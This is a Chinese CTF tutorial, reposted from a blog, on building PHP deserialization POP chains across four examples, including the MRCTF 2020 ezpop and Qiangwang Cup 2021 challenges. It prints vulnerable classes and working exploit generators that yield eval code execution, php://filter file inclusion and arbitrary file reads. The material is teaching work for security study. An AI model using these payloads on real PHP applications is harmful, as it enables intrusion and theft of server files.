php反序列化——pop链实战
转载自:https://arsenetang.github.io/2021/08/17/反序列化篇之pop链的构造(下)/
php反序列化详解参考:https://www.cnblogs.com/pursue-security/p/15291087.html
php反序列化之魔法函数详解:https://www.cnblogs.com/pursue-security/p/15291121.html
本文主要是通过一些实例来学习pop链的构造
实例一
一般来说,出现php反序列化漏洞是因为有写的不安全的魔术方法,因为魔术方法会自动调用,那我们就可以构造恶意的exp来触发它,但有的时候如果出现漏洞的代码不在魔术方法中,而是只在一个普通方法中,那我们怎么利用呢?这时候我们可以寻找魔术方法中是否调用了同名的函数,然后通过相同的函数名将类的属性和魔术方法中的属性联系起来
<?php highlight_file(__FILE__); class test { protected $ClassObj; function __construct() { $this->ClassObj = new normal(); } function __destruct() { $this->ClassObj->action(); } } class normal { function action() { echo "HelloWorld"; } } class evil { private $data; function action() { eval($this->data); } } unserialize($_GET['a']); ?>
比如说上面这个例子,危险函数应该是evil
类中的action
方法,里面有个eval
,但action
方法并不是魔术方法,一般情况下我们是很难调用它的,但我们看到test
类中的__destruct()
调用了action
方法,但在__construct()
中可以看出它创建了一个normal
类的对象,然后调用的是normal
类中的action
方法;这个就很好办,我们把魔术方法中的属性改一下,改成创建一个evil
类的对象,那它自然调用的就是evil
类中的action
方法了,有了思路下面就来构造:
<?php class test { protected $ClassObj; } class evil { private $data='phpinfo();'; } $a = new evil(); $b = new test(); $b -> ClassObj = $a; echo serialize(urlencode($a)); ?>
本来构造出来应该是这样,创建一个evil
类的对象然后把它赋值给ClassObj
属性,但这里这样写不行,因为ClassObj
属性是protected
属性,不能在类外面访问它,所以说我们得在test
类里面写一个__construct()
来完成这个操作:
<?php class test { protected $ClassObj; function __construct() { $this->ClassObj = new evil(); } } class evil { private $data='phpinfo();'; } $a = new test(); echo urlencode(serialize($a)); ?>
例题二
<?php highlight_file(__FILE__); class Hello { public $source; public $str; public function __construct($name) { $this->str=$name; } public function __destruct() { $this->source=$this->str; echo $this->source; } } class Show { public $source; public $str; public function __toString() { $content = $this->str['str']->source; return $content; } } class Uwant { public $params; public function __construct(){ $this->params='phpinfo();'; } public function __get($key){ return $this->getshell($this->params); } public function getshell($value) { eval($this->params); } } $a = $_GET['a']; unserialize($a); ?>
思路分析:先找链子的头和尾,头部明显是GET传参,尾部是Uwant
类中的getshell
,然后往上倒推,Uwant
类中的__get()
中调用了getshell
,Show
类中的toString
调用了__get()
,然后Hello
类中的__destruct()
,而我们GET传参之后会先进入__destruct()
,这样子头和尾就连上了,所以说完整的链子就是:
头 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾
至于魔术方法具体是怎么调用的这就不讲了,请看上一篇文章,这儿就简单提一下,在Hello
类中我们要把$this->str
赋值成对象,下面echo
出来才能调用Show
类中的__toString()
,然后再把Show
类中的$this->str['str']
赋值成对象,来调用Uwant
类中的__get()
<?php class Hello { public $source; public $str; } class Show { public $source; public $str; } class Uwant { public $params='phpinfo();'; } $a = new Hello(); $b = new Show(); $c = new Uwant(); $a -> str = $b; $b -> str['str'] = $c; echo urlencode(serialize($a));
例题三——2020 mrctf ezpop
Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
思路分析:仍然是先找链子的头和尾,头部依然是一个GET传参,而尾部在Modifier
类中的append()
方法中,因为里面有个include
可以完成任意文件包含,那我们很容易就可以想到用伪协议来读文件,综合上面的提示,应该flag就是在flag.php中,我们把它读出来就好;找到尾部之后往前倒推,在Modifier
类中的__invoke()
调用了append()
,然后在Test
类中的__get()
返回的是$function()
,可以调用__invoke()
,再往前Show
类中的__toString()
可以调用__get()
,然后在Show
类中的__wakeup()
中有一个正则匹配,可以调用__toString()
,然后当我们传入字符串,反序列化之后最先进入的就是__wakeup()
,这样子头和尾就连上了,如下图(来自LTLT):
头 -> Show::__wakeup() -> Show::__toString() -> Test::__get() -> Modifier::__invoke() -> Modifier::append -> 尾
<?php class Modifier { protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php'; } class Show{ public $source; public $str; } class Test{ public $p; } $a = new Show(); $b = new Show(); $c = new Test(); $d = new Modifier(); $a -> source = $b; $b -> str = $c; $c -> p = $d; echo urlencode(serialize($a)); ?>
然后base64解码
例题四——2021 强网杯 赌徒
<meta charset="utf-8"> <?php //hint is in hint.php error_reporting(1); class Start { public $name='guest'; public $flag='syst3m("cat 127.0.0.1/etc/hint");'; public function __construct(){ echo "I think you need /etc/hint . Before this you need to see the source code"; } public function _sayhello(){ echo $this->name; return 'ok'; } public function __wakeup(){ echo "hi"; $this->_sayhello(); } public function __get($cc){ echo "give you flag : ".$this->flag; return ; } } class Info { private $phonenumber=123123; public $promise='I do'; public function __construct(){ $this->promise='I will not !!!!'; return $this->promise; } public function __toString(){ return $this->file['filename']->ffiillee['ffiilleennaammee']; } } class Room { public $filename='/flag'; public $sth_to_set; public $a=''; public function __get($name){ $function = $this->a; return $function(); } public function Get_hint($file){ $hint=base64_encode(file_get_contents($file)); echo $hint; return ; } public function __invoke(){ $content = $this->Get_hint($this->filename); echo $content; } } if(isset($_GET['hello'])){ unserialize($_GET['hello']); }else{ $hi = new Start(); } ?>
分析:首先依然是找到头和尾,头部依然是一个GET传参,而尾部可以看到Room
类中有个Get_hint()
方法,里面有一个file_get_contents
,可以实现任意文件读取,我们就可以利用这个读取flag文件了,然后就是往前倒推,Room
类中__invoke()
方法调用了Get_hint()
,然后Room
类的__get()
里面有个return $function()
可以调用__invoke()
,再往前看,Info
类中的__toString()
中有Room
类中不存在的属性,所以可以调用__get()
,然后Start
类中有个_sayhello()
可以调用__toString()
,然后在Start
类中__wakeup()
方法中直接调用了_sayhello()
,而我们知道的是,输入字符串之后就会先进入__wakeup()
,这样头和尾就连上了
有了思路我们就直接开始构造,一般找思路我们是从尾到头,而构造则是直接从头到尾
头 -> Start::__wakeup() -> Start::_sayhello() -> Info::__toString() -> Room::__get() -> Room::invoke() -> Room::Get_hint()
<?php class Start { public $name='guest'; public $flag='syst3m("cat 127.0.0.1/etc/hint");'; } class Info { private $phonenumber=123123; public $promise='I do'; public function __construct(){ $this->promise='I will not !!!!'; return $this->promise; } } class Room { public $filename='/flag'; public $sth_to_set; public $a=''; } $a = new Start(); $b = new Info(); $c = new Room(); $d = new Room(); $a -> name = $b; $b -> file['filename'] = $c; $c -> a = $d; echo urlencode(serialize($a)); ?>
成功打通,注意要把前面的hi
去掉再进行base64编码才能得到flag。